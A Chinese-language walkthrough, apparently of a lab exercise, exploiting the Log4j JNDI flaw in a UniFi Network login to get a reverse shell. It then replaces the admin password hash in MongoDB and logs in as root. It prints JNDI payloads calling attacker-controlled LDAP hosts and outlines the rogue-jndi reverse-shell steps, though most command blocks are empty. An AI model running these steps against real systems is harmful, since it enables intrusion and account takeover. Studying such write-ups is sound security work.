由Log4j引起的MongoDB提权
开局一个登录框,是一个UniFi Network,而且版本信息直接打印在登陆页

那就直接根据版本信息上google搜一下看看,有没有CVE可以利用或者默认用户名密码尝试弱口令登陆,搜索发现了存在log4j漏洞

log4j漏洞可通过注入操作系统命令来利用,使得攻击者可以在运行应用程序的服务器上执行任意操作系统命令,从而完全破坏应用程序并破坏其数据
简述一下该漏洞的原理:
org.apache.logging.log4j.core.pattern.MessagePatternConverter类的format()方法发现日志中包含“${”就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行。“${”可使用的关键词非常多,例如:
1 |
|
org.apache.logging.log4j.core.lookup.StrSubstitutor中提取参数并通过lookup进行内容替换,当日志在打印时遇到”${“后,Interpolator类以:号作为分割,将表达式内容分割成两部分,前面部分作为prefix,后面部分作为key,然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行,经典poc:${jndi:ldap://liuty_ip/exp},相信大家看到这个poc就会想到jndi注入,没错,当JNDI变量可控时引发的漏洞,它将导致远程class文件加载,从而导致远程代码执行,当刚才那个poc被传入到log4j日志文件中,lookup会将JNDI注入可执行语句执行,程序会通过ldap协议访问liuty_ip这个地址,然后liuty_ip就会返回一个包含java代码的class文件的地址,然后再通过返回的地址下载class文件并执行,从而达成恶意攻击的效果,我用ppt简单画一下漏洞利用过程

为了验证漏洞存在的真实性,我们可以在向/api/login发出POST请求后,进行抓包拦截,将payload输入到remember参数中,因为POST数据作为JSON对象发送,并且payload包含{},为了防止它被解析为另一个JSON对象,我们将其括在””内,以便将其解析为字符串,这里将remember的true修改为”${jndi:ldap://my_ip/随意}”。
(这里显示InvalidPayload无效,但实际上payload正在运行)

为什么这么说呢?我们可以用tcpdump进行流量的监听,在发送带有payload的数据包那一刻,是有流量被监听到的,所以说payload实际是运行的,也证实了漏洞的存在

接下来进行漏洞的利用,借助到一个工具rogue-jndi(rogue),这个工具需要我们自己mvn构建成jar包,构建成功后会生成在target目录当中,如下

构建成功之后,运行rogue后会启动一个LDAP服务器并可以使目标服务器接收连接并执行恶意代码,首先构造并传递一个payload,该payload负责在目标服务器上为我们提供一个shell,方便交互式的控制目标服务器,不过要先对payload进行Base64编码,防止出现一些编码问题,最后控制目标服务器进行解码并执行即可
1 |
|
随后启动rogue,同时将payload作为command参数的一部分以及将我们的攻击机IP传递给hostname参数,并同时打开监听端口
1 |
|
回到我们抓包的请求当中,加入payload,构造POST请求,将remember的值改为rogue中mapping值
1 |
|

发送请求后,收到一个与我们ldap服务器的连接情况,并且监听端口会接收到反弹过来的shell

拿到shell之后,先改变一下shell,使其变得交互,往往渗透过程中交互式的shell还是很重要的

通过查看进程,发现MongoDB数据库开着,端口为27117,进程中也没别的数据库了,应该就是UniFi的后台数据库吧

查阅资料可知,UniFi默认数据库的名称一般为ace,通过mongo命令尝试提取管理员密码来与MongoDB服务进行交互
1 |
|
拿到了管理员账号密码以及管理员账户id号

$6意思是SHA-512加密,如果我们不知道也没关系,可以使用hashid来判断该密码的类型,经验证确实为SHA-512加密,破解难度挺大,但我们可以使用自己创建的哈希更改x_shadow密码哈希,以替换管理员密码并通过管理面板进行身份验证,我们使用mkpasswd来创建一个密码,就123456吧,并制定SHA-512加密类型

现在使用mongo命令对我们创建的hash来进行替换,这个时候需要通过管理员账户的_id进行标识,替换其x_shadow

1 |
|

检查密码是否更新,重新遍历一次,看到x_shadow内容已经替换成我们自己创建的hash值

接下来我们就可以使用管理员账号和密码(123456)登陆到UniFi后台,在后台设置中心里发现了ssh账号密码…还是root账户

ssh直接连!
